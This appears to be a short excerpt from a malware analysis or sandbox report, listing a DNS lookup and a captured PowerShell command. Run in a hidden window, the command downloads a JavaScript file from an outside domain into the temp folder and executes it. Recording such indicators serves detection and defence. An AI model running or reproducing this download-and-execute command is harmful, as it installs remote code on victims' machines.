Technical Information
- DNS ASK ma#####chsplurge.com
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $yugujg='kjxrchvjb';iex($env:clower);$footer=$env:temp+'\1607390966509.js';$glow.DownloadFile('https://ma8eitechsplurge.com/1607390967055.js',$footer);Invoke-Item $footer;' (with hidden window)